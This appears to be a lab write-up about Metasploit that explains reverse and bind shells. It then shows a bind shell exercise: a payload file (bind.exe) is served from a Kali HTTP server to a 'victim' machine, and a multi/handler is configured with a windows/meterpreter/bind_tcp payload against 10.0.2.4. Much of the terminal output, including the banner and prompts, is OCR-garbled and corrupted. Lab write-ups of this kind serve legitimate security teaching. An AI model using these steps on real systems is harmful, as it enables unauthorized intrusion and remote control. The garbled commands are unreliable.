


The Metasploit Framework is a Ruby-based, modular penetration testing platform that enables you to write, test, and execute exploit code. The Metasploit Framework contains a suite of tools that you can use to test security vulnerabilities, enumerate networks, execute attacks, and evade detection. At its core, the Metasploit Framework is a collection of commonly used tools that provide a complete environment for penetration testing and exploit development.
Metasploit is a versatile penetration testing framework with capabilities that include exploiting vulnerabilities, post-exploitation actions, scanning, payload customization, web application testing, and more. It offers features like Meterpreter for controlling compromised systems, payload customization, integration with other security tools, reporting, and automation. Metasploit comes in both community and commercial versions, and it can be used for ethical security testing and research. Unauthorized or malicious use is illegal and unethical, so proper authorization and ethical guidelines must be followed.
The key difference between a reverse shell and a bind shell lies in how the network connection is established:
Reverse Shell:
In a reverse shell, the target system initiates the connection to the attacker's system.
The attacker sets up a listener on their system and waits for the target to make a connection.
Reverse shells are useful when the target is behind a firewall, NAT, or restrictive network configurations, as the target can initiate outbound connections more easily.
Bind Shell:
In a bind shell, the attacker's system initiates the connection to the target system.
The attacker runs a service on the target system, which listens for incoming connections from the attacker.
Bind shells are useful when the target system is directly accessible from the internet or when the attacker has control over a network in which the target resides.
In summary, reverse shells have the target initiating the connection, while bind shells have the attacker initiating the connection to a service running on the target. Both techniques can be used for malicious or legitimate purposes, and their suitability depends on the specific network and security configurations in place.
Bind shell example 
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In the above example, I have created a http server and payload for on the kali machine .
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Accessing the webpage from victim’s machine and installing the bind file.
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Once the victim opens the infected application file a connected is started between the attacker and victim’s machine.
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4 - - [05/Nov/2023 19:18:59] code 404, message File not found
4 - - [05/Nov/2023 19:18:59] "GET /favicon.ico HTTP/1.1" 404 -
4 - - [05/Nov/2023 19:20:04] "GET /bind.exe HTTP/1.1" 200 -
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— 10.0.2.4 ping statistics —
7 packets transmitted, 7 received, 0% packet loss, time 601ims
rtt min/avg/max/ndev = 1.281/12.862/62.092/20.455 ms

[ /home/kali/Desktop/shell |
# msfeonsole

B =aaccaacculis$h. ds, dsp
dsr #9939 9999999999999 ‘BP  d888888p
d888888P '7$8$8\" L788$ 104" 788
d8bdab.dsp d8sash 7as’ d8sabsh Z.os#§|8x""  d8P. ?28b  88P
88p"7P'7P d8b_,dP 88P dBP' 788 -oaskis«" d8p d8sash $uhi?ssb 8sb
d88 d8 78 88b  88b 88b ,88b o-5iii: 788,.d88b, d88 dsP' 788 88P '78b
d88' d8sb 8b°78888P'"?8b°788P' . a5¢5ii0s” 288" 288 788 88b d88 dss
(aig$$8$$" " 88b  dsp ssh 78888P"
15$9$8$88"" ssssssp' ,ass;
.a$5$$5$$p° 88| ass%n5$$$$$$$$$$$$ 3
LasiHS§P .y v-3nscdSSQ”S”””””””””””'
(ASSHSSP” .y
AT/$89888"
18$38$8$8"
1665888’
5 116666
o UG

s

[ metasploit v6.3.27-dev

[ 2335 exploits - 1220 auxiliary - 413 post
[ 1385 payloads - 46 encoders - 11 nops
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globally setting it with setg RHOSTS x.
Metasploit Documentation: https://docs. memsnlon com/

nsf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_

msf6 exploit(i i < .iii) > set payload windows/meterpreter/bind_tcp
payload = windows/meterpreter/bind_tcp

nsf6 explo)t(multi/handler) > set rhost 10.0.2.4

rhost = 10.0.

nsf6 exnla)t(multl/handler) > set lport 5555

555!
nsf6 exulc)t(mulli/handler) > exploit

[+] Started bind TCP handler against 10.0.2.4:5555
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